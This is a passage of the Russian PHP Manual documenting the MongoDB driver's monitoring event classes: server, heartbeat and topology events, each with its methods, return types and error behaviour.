Возвращает идентификатор соединения с сервером для команды. Идентификатор соединения с сервером отличается от сервера (т.е. MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer()) и возвращается в поле "connectionId" из ответа команды hello в MongoDB 4.2+.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор соединения с сервером или null, если он недоступен.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор службы балансировщика нагрузки для команды

  • « MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId
  • MongoDB\Driver\Monitoring\ServerChangedEvent »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Возвращает идентификатор службы балансировщика нагрузки для команды

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId

(mongodb >=1.11.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId — Возвращает идентификатор службы балансировщика нагрузки для команды

Описание

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId(): ?MongoDB\BSON\ObjectId

Если драйвер подключён к кластеру MongoDB через балансировщик нагрузки, идентификатор службы соответствует полю serviceId в ответе на команду hello.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор службы балансировщика нагрузки или null, если драйвер не подключён к балансировщику нагрузки.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Monitoring\ServerChangedEvent

(mongodb >=1.13.0)

Введение

Класс MongoDB\Driver\Monitoring\ServerChangedEvent инкапсулирует информацию об изменении описания сервера.

Обзор классов

final class MongoDB\Driver\Monitoring\ServerChangedEvent {
/* Методы */
final public getHost(): string
final public getNewDescription(): MongoDB\Driver\ServerDescription
final public getPort(): int
final public getPreviousDescription(): MongoDB\Driver\ServerDescription
final public getTopologyId(): MongoDB\BSON\ObjectId
}

Содержание

  • MongoDB\Driver\Monitoring\ServerChangedEvent::getHost — Возвращает имя хоста сервера
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription — Возвращает новое описание сервера
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getPort — Возвращает порт, на котором прослушивается сервер
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription — Возвращает предыдущее описание сервера
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId — Возвращает идентификатор топологии, связанный с этим сервером

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя хоста сервера

  • « MongoDB\Driver\Monitoring\ServerChangedEvent
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerChangedEvent
  • Возвращает имя хоста сервера

MongoDB\Driver\Monitoring\ServerChangedEvent::getHost

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerChangedEvent::getHost — Возвращает имя хоста сервера

Описание

final public MongoDB\Driver\Monitoring\ServerChangedEvent::getHost(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя хоста сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает новое описание сервера

  • « MongoDB\Driver\Monitoring\ServerChangedEvent::getHost
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getPort »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerChangedEvent
  • Возвращает новое описание сервера

MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription — Возвращает новое описание сервера

Описание

final public MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription(): MongoDB\Driver\ServerDescription

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает новое описание (MongoDB\Driver\ServerDescription) сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает порт, на котором прослушивается сервер

  • « MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerChangedEvent
  • Возвращает порт, на котором прослушивается сервер

MongoDB\Driver\Monitoring\ServerChangedEvent::getPort

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerChangedEvent::getPort — Возвращает порт, на котором прослушивается сервер

Описание

final public MongoDB\Driver\Monitoring\ServerChangedEvent::getPort(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает порт, на котором прослушивается сервер.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает предыдущее описание сервера

  • « MongoDB\Driver\Monitoring\ServerChangedEvent::getPort
  • MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerChangedEvent
  • Возвращает предыдущее описание сервера

MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription — Возвращает предыдущее описание сервера

Описание

final public MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription(): MongoDB\Driver\ServerDescription

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает предыдущее описание (MongoDB\Driver\ServerDescription) сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор топологии, связанный с этим сервером

  • « MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription
  • MongoDB\Driver\Monitoring\ServerClosedEvent »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerChangedEvent
  • Возвращает идентификатор топологии, связанный с этим сервером

MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId — Возвращает идентификатор топологии, связанный с этим сервером

Описание

final public MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId(): MongoDB\BSON\ObjectId

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор топологии.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Monitoring\ServerClosedEvent

(mongodb >=1.13.0)

Введение

Класс MongoDB\Driver\Monitoring\ServerClosedEvent инкапсулирует информацию о закрытом сервере.

Обзор классов

final class MongoDB\Driver\Monitoring\ServerClosedEvent {
/* Методы */
final public getHost(): string
final public getPort(): int
final public getTopologyId(): MongoDB\BSON\ObjectId
}

Содержание

  • MongoDB\Driver\Monitoring\ServerClosedEvent::getHost — Возвращает имя хоста сервера
  • MongoDB\Driver\Monitoring\ServerClosedEvent::getPort — Возвращает порт, на котором прослушивается сервер
  • MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId — Возвращает идентификатор топологии, связанный с этим сервером

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя хоста сервера

  • « MongoDB\Driver\Monitoring\ServerClosedEvent
  • MongoDB\Driver\Monitoring\ServerClosedEvent::getPort »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerClosedEvent
  • Возвращает имя хоста сервера

MongoDB\Driver\Monitoring\ServerClosedEvent::getHost

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerClosedEvent::getHost — Возвращает имя хоста сервера

Описание

final public MongoDB\Driver\Monitoring\ServerClosedEvent::getHost(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя хоста сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает порт, на котором прослушивается сервер

  • « MongoDB\Driver\Monitoring\ServerClosedEvent::getHost
  • MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerClosedEvent
  • Возвращает порт, на котором прослушивается сервер

MongoDB\Driver\Monitoring\ServerClosedEvent::getPort

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerClosedEvent::getPort — Возвращает порт, на котором прослушивается сервер

Описание

final public MongoDB\Driver\Monitoring\ServerClosedEvent::getPort(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает порт, на котором прослушивается сервер.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор топологии, связанный с этим сервером

  • « MongoDB\Driver\Monitoring\ServerClosedEvent::getPort
  • MongoDB\Driver\Monitoring\ServerOpeningEvent »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerClosedEvent
  • Возвращает идентификатор топологии, связанный с этим сервером

MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId — Возвращает идентификатор топологии, связанный с этим сервером

Описание

final public MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId(): MongoDB\BSON\ObjectId

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор топологии.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Monitoring\ServerOpeningEvent

(mongodb >=1.13.0)

Введение

Класс MongoDB\Driver\Monitoring\ServerOpeningEvent инкапсулирует информацию об открытом сервере.

Обзор классов

final class MongoDB\Driver\Monitoring\ServerOpeningEvent {
/* Методы */
final public getHost(): string
final public getPort(): int
final public getTopologyId(): MongoDB\BSON\ObjectId
}

Содержание

  • MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost — Возвращает имя хоста сервера
  • MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort — Возвращает порт, на котором прослушивается сервер
  • MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId — Returns the topology ID associated with this server

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя хоста сервера

  • « MongoDB\Driver\Monitoring\ServerOpeningEvent
  • MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerOpeningEvent
  • Возвращает имя хоста сервера

MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost — Возвращает имя хоста сервера

Описание

final public MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя хоста сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает порт, на котором прослушивается сервер

  • « MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost
  • MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerOpeningEvent
  • Возвращает порт, на котором прослушивается сервер

MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort — Возвращает порт, на котором прослушивается сервер

Описание

final public MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает порт, на котором прослушивается сервер.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Returns the topology ID associated with this server

  • « MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerOpeningEvent
  • Returns the topology ID associated with this server

MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId — Returns the topology ID associated with this server

Описание

final public MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId(): MongoDB\BSON\ObjectId

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Returns the topology ID.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent

(mongodb >=1.13.0)

Введение

Класс MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent инкапсулирует информацию о неудачном heartbeat сервера.

Обзор классов

final class MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent {
/* Методы */
final public getDurationMicros(): int
final public getError(): Exception
final public getHost(): string
final public getPort(): int
final public isAwaited(): bool
}

Содержание

  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros — Возвращает продолжительность heartbeat в микросекундах
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError — Возвращает исключение, связанное с неудачным выполнением heartbeat
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost — Возвращает имя хоста сервера
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort — Возвращает порт, на котором прослушивается сервер
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited — Возвращает, использовался ли в heartbeat потоковый протокол

User Contributed Notes

There are no user contributed notes for this page.


Возвращает продолжительность heartbeat в микросекундах

  • « MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • Возвращает продолжительность heartbeat в микросекундах

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros — Возвращает продолжительность heartbeat в микросекундах

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros(): int

Продолжительность heartbeat - это расчётное значение, которое включает в себя время отправки сообщения и получения ответа от сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает продолжительность heartbeat в микросекундах.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает исключение, связанное с неудачным выполнением heartbeat

  • « MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • Возвращает исключение, связанное с неудачным выполнением heartbeat

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError — Возвращает исключение, связанное с неудачным выполнением heartbeat

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError(): Exception

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает исключение (Exception), связанное с неудачным выполнением heartbeat.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя хоста сервера

  • « MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • Возвращает имя хоста сервера

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost — Возвращает имя хоста сервера

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя хоста сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает порт, на котором прослушивается сервер

  • « MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • Возвращает порт, на котором прослушивается сервер

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort — Возвращает порт, на котором прослушивается сервер

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает порт, на котором прослушивается сервер.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, использовался ли в heartbeat потоковый протокол

  • « MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • Возвращает, использовался ли в heartbeat потоковый протокол

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited — Возвращает, использовался ли в heartbeat потоковый протокол

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited(): bool

Возвращает, использовался ли в heartbeat потоковый протокол. Драйвер PHP не использует потоковый протокол для мониторинга, поэтому этот метод всегда будет возвращать false.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает false.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent

(mongodb >=1.13.0)

Введение

Класс MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent инкапсулирует информацию о запущенном heartbeat сервера.

Обзор классов

final class MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent {
/* Методы */
final public getHost(): string
final public getPort(): int
final public isAwaited(): bool
}

Содержание

  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost — Возвращает имя хоста сервера
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort — Возвращает порт, на котором прослушивается сервер
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited — Возвращает, использовался ли в heartbeat потоковый протокол

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя хоста сервера

  • « MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent
  • Возвращает имя хоста сервера

MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost — Возвращает имя хоста сервера

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя хоста сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает порт, на котором прослушивается сервер

  • « MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent
  • Возвращает порт, на котором прослушивается сервер

MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort — Возвращает порт, на котором прослушивается сервер

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает порт, на котором прослушивается сервер.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, использовался ли в heartbeat потоковый протокол

  • « MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent
  • Возвращает, использовался ли в heartbeat потоковый протокол

MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited — Возвращает, использовался ли в heartbeat потоковый протокол

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited(): bool

Возвращает, использовался ли в heartbeat потоковый протокол. Драйвер PHP не использует потоковый протокол для мониторинга, поэтому этот метод всегда будет возвращать false.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает false.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent

(mongodb >=1.13.0)

Введение

Класс MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent инкапсулирует информацию об успешном heartbeat сервера.

Обзор классов

final class MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent {
/* Методы */
final public getDurationMicros(): int
final public getHost(): string
final public getPort(): int
final public getReply(): object
final public isAwaited(): bool
}

Содержание

  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros — Возвращает продолжительность heartbeat в микросекундах
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost — Возвращает имя хоста сервера
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort — Возвращает порт, на котором прослушивается сервер
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply — Возвращает документ ответа heartbeat
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited — Возвращает, использовался ли в heartbeat потоковый протокол

User Contributed Notes

There are no user contributed notes for this page.


Возвращает продолжительность heartbeat в микросекундах

  • « MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • Возвращает продолжительность heartbeat в микросекундах

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros — Возвращает продолжительность heartbeat в микросекундах

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros(): int

Продолжительность heartbeat - это расчётное значение, которое включает в себя время отправки сообщения и получения ответа от сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает продолжительность heartbeat в микросекундах.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя хоста сервера

  • « MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • Возвращает имя хоста сервера

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost — Возвращает имя хоста сервера

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя хоста сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает порт, на котором прослушивается сервер

  • « MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • Возвращает порт, на котором прослушивается сервер

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort — Возвращает порт, на котором прослушивается сервер

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает порт, на котором прослушивается сервер.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает документ ответа heartbeat

  • « MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • Возвращает документ ответа heartbeat

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply — Возвращает документ ответа heartbeat

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply(): object

Документ ответа будет преобразован из BSON в PHP с использованием правил десериализации по умолчанию (например, документы BSON будут преобразованы в stdClass).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает документ ответа heartbeat в виде объекта stdClass.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • Мониторинг производительности приложения (Application Performance Monitoring или APM)
  • Постоянные данные

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, использовался ли в heartbeat потоковый протокол

  • « MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply
  • MongoDB\Driver\Monitoring\TopologyChangedEvent »
  • PHP Manual
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • Возвращает, использовался ли в heartbeat потоковый протокол

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited — Возвращает, использовался ли в heartbeat потоковый протокол

Описание

final public MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited(): bool

Возвращает, использовался ли в heartbeat потоковый протокол. Драйвер PHP не использует потоковый протокол для мониторинга, поэтому этот метод всегда будет возвращать false.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает false.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Monitoring\TopologyChangedEvent

(mongodb >=1.13.0)

Введение

Класс MongoDB\Driver\Monitoring\TopologyChangedEvent инкапсулирует информацию об изменённом описании топологии.

Обзор классов

final class MongoDB\Driver\Monitoring\TopologyChangedEvent {
/* Методы */
final public getNewDescription(): MongoDB\Driver\TopologyDescription
final public getPreviousDescription(): MongoDB\Driver\TopologyDescription
final public getTopologyId(): MongoDB\BSON\ObjectId
}

Содержание

  • MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription — Возвращает новое описание топологии
  • MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription — Возвращает предыдущее описание топологии
  • MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId — Возвращает идентификатор топологии

User Contributed Notes

There are no user contributed notes for this page.


Возвращает новое описание топологии

  • « MongoDB\Driver\Monitoring\TopologyChangedEvent
  • MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription »
  • PHP Manual
  • MongoDB\Driver\Monitoring\TopologyChangedEvent
  • Возвращает новое описание топологии

MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription — Возвращает новое описание топологии

Описание

final public MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription(): MongoDB\Driver\TopologyDescription

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает новое описание (MongoDB\Driver\TopologyDescription) топологии.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает предыдущее описание топологии

